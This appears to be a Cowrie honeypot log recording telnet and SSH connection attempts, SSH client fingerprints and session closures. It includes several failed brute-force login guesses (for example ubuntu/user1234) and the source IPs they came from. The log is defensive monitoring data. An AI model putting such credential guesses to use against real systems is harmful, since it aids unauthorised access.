{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42720,"dst_ip":"10.17.0.5","dst_port":23,"session":"aef3828beda9","protocol":"telnet","message":"New connection: 213.136.75.179:42720 (10.17.0.5:23) [session: aef3828beda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:41.078609Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53840,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2b41cac5f2","protocol":"telnet","message":"New connection: 159.223.86.167:53840 (159.203.135.109:23) [session: 4c2b41cac5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:41.256027Z"}
{"eventid":"cowrie.session.closed","duration":31.94286608695984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:41.423322Z","src_ip":"213.136.75.179","session":"bb402e5b5375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46591544151306,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:41.504836Z","src_ip":"213.136.75.179","session":"dbf9b2b9cb76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3958535194397,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:41.871515Z","src_ip":"213.136.75.179","session":"7a3aaa4925cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.42421293258667,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:43.719442Z","src_ip":"213.136.75.179","session":"3d7dfc950396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":33770,"dst_ip":"10.17.0.5","dst_port":23,"session":"acabde528418","protocol":"telnet","message":"New connection: 5.189.178.126:33770 (10.17.0.5:23) [session: acabde528418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:43.929330Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42726,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcd43701e5c3","protocol":"telnet","message":"New connection: 213.136.75.179:42726 (10.17.0.5:23) [session: dcd43701e5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:44.743968Z"}
{"eventid":"cowrie.session.closed","duration":30.774816751480103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:45.542138Z","src_ip":"213.136.75.179","session":"32e520191543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42728,"dst_ip":"10.17.0.5","dst_port":23,"session":"dde59db3fa00","protocol":"telnet","message":"New connection: 213.136.75.179:42728 (10.17.0.5:23) [session: dde59db3fa00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:45.556646Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42734,"dst_ip":"10.17.0.5","dst_port":23,"session":"6697dadafcb1","protocol":"telnet","message":"New connection: 213.136.75.179:42734 (10.17.0.5:23) [session: 6697dadafcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:46.345802Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42736,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccad3a012a10","protocol":"telnet","message":"New connection: 213.136.75.179:42736 (10.17.0.5:23) [session: ccad3a012a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:46.564751Z"}
{"eventid":"cowrie.session.closed","duration":33.134753465652466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:46.665547Z","src_ip":"213.136.75.179","session":"16f0456013a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48974,"dst_ip":"10.17.0.5","dst_port":22,"session":"250e1e9f0144","protocol":"ssh","message":"New connection: 176.65.139.103:48974 (10.17.0.5:22) [session: 250e1e9f0144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:46.747363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:46.751595Z","src_ip":"176.65.139.103","session":"250e1e9f0144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:46.833694Z","src_ip":"176.65.139.103","session":"250e1e9f0144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60310,"dst_ip":"159.203.135.109","dst_port":23,"session":"0711aee7195c","protocol":"telnet","message":"New connection: 23.254.167.244:60310 (159.203.135.109:23) [session: 0711aee7195c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:47.020362Z"}
{"eventid":"cowrie.session.closed","duration":30.73623251914978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:47.048539Z","src_ip":"5.189.178.126","session":"90ea1cacd530","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:47.084721Z","src_ip":"176.65.139.103","session":"250e1e9f0144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.965609788894653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:47.459982Z","src_ip":"213.136.75.179","session":"10ad5787fe37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:48.333969Z","src_ip":"176.65.139.103","session":"250e1e9f0144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":33782,"dst_ip":"10.17.0.5","dst_port":23,"session":"d67823bff6ad","protocol":"telnet","message":"New connection: 5.189.178.126:33782 (10.17.0.5:23) [session: d67823bff6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:48.436588Z"}
{"eventid":"cowrie.session.closed","duration":31.217304229736328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:48.524636Z","src_ip":"213.136.75.179","session":"4a99947a0e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58084,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a395a514924","protocol":"telnet","message":"New connection: 213.136.75.179:58084 (10.17.0.5:23) [session: 4a395a514924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:49.008276Z"}
{"eventid":"cowrie.session.closed","duration":30.7960307598114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:49.690339Z","src_ip":"213.136.75.179","session":"3f02a98793f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58096,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc3d604df688","protocol":"telnet","message":"New connection: 213.136.75.179:58096 (10.17.0.5:23) [session: dc3d604df688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:50.639179Z"}
{"eventid":"cowrie.session.closed","duration":31.31991696357727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:50.871924Z","src_ip":"213.136.75.179","session":"b7a5eeda82e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337162256240845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:50.901538Z","src_ip":"213.136.75.179","session":"e664f15654d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":7666,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaeed3cf1a85","protocol":"ssh","message":"New connection: 74.87.117.149:7666 (10.17.0.5:22) [session: eaeed3cf1a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:50.972080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:50.977271Z","src_ip":"74.87.117.149","session":"eaeed3cf1a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:51.001662Z","src_ip":"74.87.117.149","session":"eaeed3cf1a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58106,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5fc5aeebb9","protocol":"telnet","message":"New connection: 213.136.75.179:58106 (10.17.0.5:23) [session: bf5fc5aeebb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:51.046750Z"}
{"eventid":"cowrie.session.closed","duration":30.533987522125244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:51.075513Z","src_ip":"5.189.169.71","session":"5ac3cdb931a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user1234","message":"login attempt [ubuntu/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:51.140933Z","src_ip":"74.87.117.149","session":"eaeed3cf1a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58116,"dst_ip":"10.17.0.5","dst_port":23,"session":"af9a2f3428b3","protocol":"telnet","message":"New connection: 213.136.75.179:58116 (10.17.0.5:23) [session: af9a2f3428b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.017749Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.167276Z","src_ip":"74.87.117.149","session":"eaeed3cf1a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58120,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cde4918c193","protocol":"telnet","message":"New connection: 213.136.75.179:58120 (10.17.0.5:23) [session: 0cde4918c193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.374050Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58126,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee07d6915f88","protocol":"telnet","message":"New connection: 213.136.75.179:58126 (10.17.0.5:23) [session: ee07d6915f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.552097Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54634,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a4176e1dec","protocol":"ssh","message":"New connection: 159.203.92.129:54634 (159.203.135.109:22) [session: 26a4176e1dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.855927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.860742Z","src_ip":"159.203.92.129","session":"26a4176e1dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.866712Z","src_ip":"159.203.92.129","session":"26a4176e1dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.72082757949829,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.874472Z","src_ip":"213.136.75.179","session":"1e9c48cfcd13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"annie","password":"annie123","message":"login attempt [annie/annie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.881997Z","src_ip":"159.203.92.129","session":"26a4176e1dec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"7819af4dfaa4","protocol":"telnet","message":"New connection: 213.136.75.179:58142 (10.17.0.5:23) [session: 7819af4dfaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:52.936874Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58156,"dst_ip":"10.17.0.5","dst_port":23,"session":"07991c0835cb","protocol":"telnet","message":"New connection: 213.136.75.179:58156 (10.17.0.5:23) [session: 07991c0835cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:53.028282Z"}
{"eventid":"cowrie.session.closed","duration":30.408404111862183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:53.162067Z","src_ip":"159.223.86.167","session":"125403ccf984","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58158,"dst_ip":"10.17.0.5","dst_port":23,"session":"169b4c7e2e1f","protocol":"telnet","message":"New connection: 213.136.75.179:58158 (10.17.0.5:23) [session: 169b4c7e2e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:53.211371Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47414,"dst_ip":"10.17.0.5","dst_port":22,"session":"c41a88c5a04b","protocol":"ssh","message":"New connection: 176.65.139.103:47414 (10.17.0.5:22) [session: c41a88c5a04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:53.685510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:53.807006Z","src_ip":"176.65.139.103","session":"c41a88c5a04b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:53.810815Z","src_ip":"176.65.139.103","session":"c41a88c5a04b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:53.900293Z","src_ip":"159.203.92.129","session":"26a4176e1dec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:54.365473Z","src_ip":"176.65.139.103","session":"c41a88c5a04b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58160,"dst_ip":"10.17.0.5","dst_port":23,"session":"50e9f6866b17","protocol":"telnet","message":"New connection: 213.136.75.179:58160 (10.17.0.5:23) [session: 50e9f6866b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:54.518482Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58164,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad3a7010585b","protocol":"telnet","message":"New connection: 213.136.75.179:58164 (10.17.0.5:23) [session: ad3a7010585b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:55.032282Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58174,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a7ff70120ba","protocol":"telnet","message":"New connection: 213.136.75.179:58174 (10.17.0.5:23) [session: 5a7ff70120ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:55.424705Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:55.458486Z","src_ip":"176.65.139.103","session":"c41a88c5a04b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58190,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3a950ef274","protocol":"telnet","message":"New connection: 213.136.75.179:58190 (10.17.0.5:23) [session: 2d3a950ef274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:55.609597Z"}
{"eventid":"cowrie.session.closed","duration":32.69042468070984,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:55.671917Z","src_ip":"213.136.75.179","session":"b086b4b37310","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":42484,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2aa3b913006","protocol":"telnet","message":"New connection: 5.189.178.126:42484 (10.17.0.5:23) [session: b2aa3b913006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:55.964383Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58206,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6686c4bde2","protocol":"telnet","message":"New connection: 213.136.75.179:58206 (10.17.0.5:23) [session: da6686c4bde2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:55.991879Z"}
